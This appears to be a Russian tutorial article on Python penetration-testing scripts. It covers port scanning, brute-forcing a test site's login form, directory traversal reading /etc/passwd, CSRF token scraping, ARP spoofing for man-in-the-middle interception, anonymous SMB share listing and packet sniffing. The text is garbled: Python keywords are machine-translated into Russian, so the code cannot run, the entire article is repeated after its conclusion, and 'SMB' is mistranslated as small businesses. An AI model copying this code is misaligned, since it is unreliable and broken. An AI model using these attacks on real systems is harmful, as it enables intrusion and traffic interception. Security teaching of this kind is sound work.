Тестирование на проникновение всегда ограничено по времени. В то время как хакеры-злоумышленники (или просто хакеры) могут тратить недели или месяцы на проведение APT-атаки, хакеры-белые не могут себе позволить такую роскошь. Тестирование на проникновение проводится в рамках контракта, в котором четко указаны сроки.
Для повышения эффективности тестирования на проникновение используются различные инструменты автоматизации. Однако зачастую удобнее использовать пользовательские скрипты, поскольку часто возникает необходимость в их доработке — небольшое изменение кода скрипта может сделать его более подходящим для задачи, и, конечно же, лучше модифицировать то, что вы хорошо понимаете.
Python — один из самых популярных языков программирования. Он функционален, гибок и хорошо подходит для большинства задач этичного хакинга. Его простота, обширная экосистема библиотек и кроссплатформенная совместимость делают его незаменимым для автоматизации сетевых атак, анализа протоколов и разработки пользовательских инструментов для тестирования на проникновение.
Интерпретатор Python также можно установить на различные устройства, такие как микрокомпьютеры, например Raspberry Pi, сетевое оборудование с прошивкой OpenWRT и так далее. Не на всех этих устройствах можно запустить полноценную версию Kali Linux с предустановленными инструментами, но их можно и нужно использовать для автоматизации тестирования на проникновение. Бывают также ситуации, когда мы получили доступ к хосту с установленным Python, но не можем установить другие необходимые инструменты, и тем не менее нам необходимо продолжить атаку.
В этой статье мы рассмотрим несколько полезных скриптов, которые могут помочь автоматизировать различные задачи тестирования на проникновение.
---
Поиск открытых портов
Для начала напишем небольшой сканер портов. Наш сканер не будет очень быстрым, поскольку он будет пытаться подключиться к каждому порту в заданном диапазоне, но он полезен, когда такие инструменты, как Nmap или Masscan, недоступны.
импорт запросов
импорт сокета
импорт sys
# проверка количества аргументов
если len(sys.argv) == 2:
target = socket.gethostbyname(sys.argv[1])
еще:
print("Недопустимое количество аргументов")
sys.exit()
пытаться:
# сканирование портов до 1025
для порта в диапазоне (1, 1025):
сокет = сокет.сокет(сокет.AF_INET, сокет.SOCK_STREAM)
result = sock.connect_ex((target, port))
# Если соединение установлено успешно, вывести сообщение
если результат == 0:
print(f"Порт {port} открыт")
еще:
print(f"Порт {порт} закрыт")
sock.close()
за исключением socket.gaierror:
print("\nНе удалось разрешить имя хоста!")
sys.exit()
за исключением socket.error:
print("\nСервер не отвечает!")
sys.exit()
Если вы можете установить библиотеку Scapy, сканирование портов можно ускорить, отправляя SYN-пакеты и получая от целевого устройства только SYN/ACK-ответы:
from scapy.all import *
def scan_ports(host, ports):
для порта в портах:
пакет = IP(dst=host)/TCP(dport=port, flags='S')
response = sr1(packet, timeout=1, verbose=0)
если response и response.haslayer(TCP) и response[TCP].flags == 'SA':
print(f'Порт {порт}: открыт')
порты = [21, 22, 80, 443, 3306, 5432]
scan_ports('localhost', ports)
---
Взлом паролей
Предположим, у нас есть веб-страница с аутентификацией на основе форм. Мы можем написать скрипт для перебора разных паролей. Ключевой момент — знать, как выглядит страница после успешного входа в систему.
Например, мы можем использовать уязвимый веб-ресурс http://testphp.vulnweb.com/, страница входа в который находится по адресу http://testphp.vulnweb.com/login.php.
импорт запросов
url = "http://testphp.vulnweb.com/login.php"
passwords = ["admin", "password", "123456", "test"]
для pwd в паролях:
response = requests.post(url, data={"username": "test", "password": pwd})
Если "E=Mail:" в response.text:
print(f"Действительный пароль: {pwd}")
Здесь скрипт последовательно отправляет пароли посредством POST-запросов и проверяет наличие определенного текста в ответе, чтобы определить, был ли вход в систему успешным. Для этой уязвимой страницы допустимыми учетными данными являются test/test, а в разделе настроек учетной записи после успешного входа в систему отображается поле с именем E-Mail:. Скрипт проверяет наличие этого поля.
---
Другие веб-атаки
Ещё одна распространённая атака — обход каталогов. Это происходит, когда предоставленные пользователем имена файлов не проходят надлежащую проверку на наличие ошибок, что позволяет последовательностям, таким как ../, получать доступ к родительским каталогам. Это может позволить злоумышленнику получить доступ к несанкционированным частям файловой системы.
Пример GET-запроса к уязвимому сайту:
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Реализовать это на Python очень просто:
response = requests.get("http://vulnerable-site.com/?file=../../../../etc/passwd")
print(response.text)
Мы можем автоматизировать обработку ответов, используя тот же анализ response.text, что и в предыдущем примере.
Мы также можем использовать скрипты для извлечения CSRF-токена из сессии. CSRF-токен — это уникальное, непредсказуемое значение, генерируемое сервером и отправляемое клиенту. Используя регулярные выражения:
импорт ре
импорт запросов
сессия = requests.Session()
login_page = session.get("http://vulnerable-site.com/login")
csrf_token = re.search('name="csrf" value="(.*?)"', login_page.text).group(1)
requests.post(url, data={"csrf": csrf_token, "username": "admin", "password": "pwd"})
---
Сетевые атаки
Помимо веб-атак, Python можно использовать для сетевых атак. Например, подмена ARP-адресов в локальной сети позволяет злоумышленнику стать «человеком посередине», перехватывая и, при необходимости, изменяя весь трафик.
Использование Scapy:
from scapy.all import *
target_ip = "192.168.1.2"
gateway_ip = "192.168.1.1"
target_mac = getmacbyip(target_ip)
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), inter=0.1, loop=1)
Также полезно перечислить доступные общие ресурсы для малых и средних предприятий, которые могут содержать конфиденциальную информацию:
from impacket.smbconnection import SMBConnection
target="192.168.1.1"
conn = SMBConnection(target, target)
conn.login("", "")
shares = conn.listShares()
для доли в акциях:
print(share['shi1_netname'])
Наконец, одним из наиболее полезных инструментов для тестирования на проникновение является анализатор сетевых пакетов. Scapy позволяет проводить детальный анализ пакетов, но даже простой скрипт может перехватывать необработанные IP-пакеты:
from scapy.all import *
def packet_callback(packet):
if packet.haslayer(TCP):
print(f"TCP-пакет: {packet[IP].src} -> {packet[IP].dst}")
print(packet.show())
sniff(prn=packet_callback, store=0)
Здесь отображаются основные заголовки пакетов на канальном, сетевом и транспортном уровнях, а также необработанное содержимое пакетов. Захваченные данные затем могут быть дополнительно обработаны с помощью Python и Scapy по мере необходимости.
---
Заключение
Мы рассмотрели несколько простых скриптов, которые можно использовать для автоматизации задач тестирования на проникновение. Каждый из этих скриптов можно модифицировать по мере необходимости для выполнения конкретных задач.
Для повышения эффективности тестирования на проникновение используются различные инструменты автоматизации. Однако зачастую удобнее использовать пользовательские скрипты, поскольку часто возникает необходимость в их доработке — небольшое изменение кода скрипта может сделать его более подходящим для задачи, и, конечно же, лучше модифицировать то, что вы хорошо понимаете.
Python — один из самых популярных языков программирования. Он функционален, гибок и хорошо подходит для большинства задач этичного хакинга. Его простота, обширная экосистема библиотек и кроссплатформенная совместимость делают его незаменимым для автоматизации сетевых атак, анализа протоколов и разработки пользовательских инструментов для тестирования на проникновение.
Интерпретатор Python также можно установить на различные устройства, такие как микрокомпьютеры, например Raspberry Pi, сетевое оборудование с прошивкой OpenWRT и так далее. Не на всех этих устройствах можно запустить полноценную версию Kali Linux с предустановленными инструментами, но их можно и нужно использовать для автоматизации тестирования на проникновение. Бывают также ситуации, когда мы получили доступ к хосту с установленным Python, но не можем установить другие необходимые инструменты, и тем не менее нам необходимо продолжить атаку.
В этой статье мы рассмотрим несколько полезных скриптов, которые могут помочь автоматизировать различные задачи тестирования на проникновение.
---
Поиск открытых портов
Для начала напишем небольшой сканер портов. Наш сканер не будет очень быстрым, поскольку он будет пытаться подключиться к каждому порту в заданном диапазоне, но он полезен, когда такие инструменты, как Nmap или Masscan, недоступны.
импорт запросов
импорт сокета
импорт sys
# проверка количества аргументов
если len(sys.argv) == 2:
target = socket.gethostbyname(sys.argv[1])
еще:
print("Недопустимое количество аргументов")
sys.exit()
пытаться:
# сканирование портов до 1025
для порта в диапазоне (1, 1025):
сокет = сокет.сокет(сокет.AF_INET, сокет.SOCK_STREAM)
result = sock.connect_ex((target, port))
# Если соединение установлено успешно, вывести сообщение
если результат == 0:
print(f"Порт {port} открыт")
еще:
print(f"Порт {порт} закрыт")
sock.close()
за исключением socket.gaierror:
print("\nНе удалось разрешить имя хоста!")
sys.exit()
за исключением socket.error:
print("\nСервер не отвечает!")
sys.exit()
Если вы можете установить библиотеку Scapy, сканирование портов можно ускорить, отправляя SYN-пакеты и получая от целевого устройства только SYN/ACK-ответы:
from scapy.all import *
def scan_ports(host, ports):
для порта в портах:
пакет = IP(dst=host)/TCP(dport=port, flags='S')
response = sr1(packet, timeout=1, verbose=0)
если response и response.haslayer(TCP) и response[TCP].flags == 'SA':
print(f'Порт {порт}: открыт')
порты = [21, 22, 80, 443, 3306, 5432]
scan_ports('localhost', ports)
---
Взлом паролей
Предположим, у нас есть веб-страница с аутентификацией на основе форм. Мы можем написать скрипт для перебора разных паролей. Ключевой момент — знать, как выглядит страница после успешного входа в систему.
Например, мы можем использовать уязвимый веб-ресурс http://testphp.vulnweb.com/, страница входа в который находится по адресу http://testphp.vulnweb.com/login.php.
импорт запросов
url = "http://testphp.vulnweb.com/login.php"
passwords = ["admin", "password", "123456", "test"]
для pwd в паролях:
response = requests.post(url, data={"username": "test", "password": pwd})
Если "E=Mail:" в response.text:
print(f"Действительный пароль: {pwd}")
Здесь скрипт последовательно отправляет пароли посредством POST-запросов и проверяет наличие определенного текста в ответе, чтобы определить, был ли вход в систему успешным. Для этой уязвимой страницы допустимыми учетными данными являются test/test, а в разделе настроек учетной записи после успешного входа в систему отображается поле с именем E-Mail:. Скрипт проверяет наличие этого поля.
---
Другие веб-атаки
Ещё одна распространённая атака — обход каталогов. Это происходит, когда предоставленные пользователем имена файлов не проходят надлежащую проверку на наличие ошибок, что позволяет последовательностям, таким как ../, получать доступ к родительским каталогам. Это может позволить злоумышленнику получить доступ к несанкционированным частям файловой системы.
Пример GET-запроса к уязвимому сайту:
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
Реализовать это на Python очень просто:
response = requests.get("http://vulnerable-site.com/?file=../../../../etc/passwd")
print(response.text)
Мы можем автоматизировать обработку ответов, используя тот же анализ response.text, что и в предыдущем примере.
Мы также можем использовать скрипты для извлечения CSRF-токена из сессии. CSRF-токен — это уникальное, непредсказуемое значение, генерируемое сервером и отправляемое клиенту. Используя регулярные выражения:
импорт ре
импорт запросов
сессия = requests.Session()
login_page = session.get("http://vulnerable-site.com/login")
csrf_token = re.search('name="csrf" value="(.*?)"', login_page.text).group(1)
requests.post(url, data={"csrf": csrf_token, "username": "admin", "password": "pwd"})
---
Сетевые атаки
Помимо веб-атак, Python можно использовать для сетевых атак. Например, подмена ARP-адресов в локальной сети позволяет злоумышленнику стать «человеком посередине», перехватывая и, при необходимости, изменяя весь трафик.
Использование Scapy:
from scapy.all import *
target_ip = "192.168.1.2"
gateway_ip = "192.168.1.1"
target_mac = getmacbyip(target_ip)
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), inter=0.1, loop=1)
Также полезно перечислить доступные общие ресурсы для малых и средних предприятий, которые могут содержать конфиденциальную информацию:
from impacket.smbconnection import SMBConnection
target="192.168.1.1"
conn = SMBConnection(target, target)
conn.login("", "")
shares = conn.listShares()
для доли в акциях:
print(share['shi1_netname'])
Наконец, одним из наиболее полезных инструментов для тестирования на проникновение является анализатор сетевых пакетов. Scapy позволяет проводить детальный анализ пакетов, но даже простой скрипт может перехватывать необработанные IP-пакеты:
from scapy.all import *
def packet_callback(packet):
if packet.haslayer(TCP):
print(f"TCP-пакет: {packet[IP].src} -> {packet[IP].dst}")
print(packet.show())
sniff(prn=packet_callback, store=0)
Здесь отображаются основные заголовки пакетов на канальном, сетевом и транспортном уровнях, а также необработанное содержимое пакетов. Захваченные данные затем могут быть дополнительно обработаны с помощью Python и Scapy по мере необходимости.
---
Заключение
Мы рассмотрели несколько простых скриптов, которые можно использовать для автоматизации задач тестирования на проникновение. Каждый из этих скриптов можно модифицировать по мере необходимости для выполнения конкретных задач.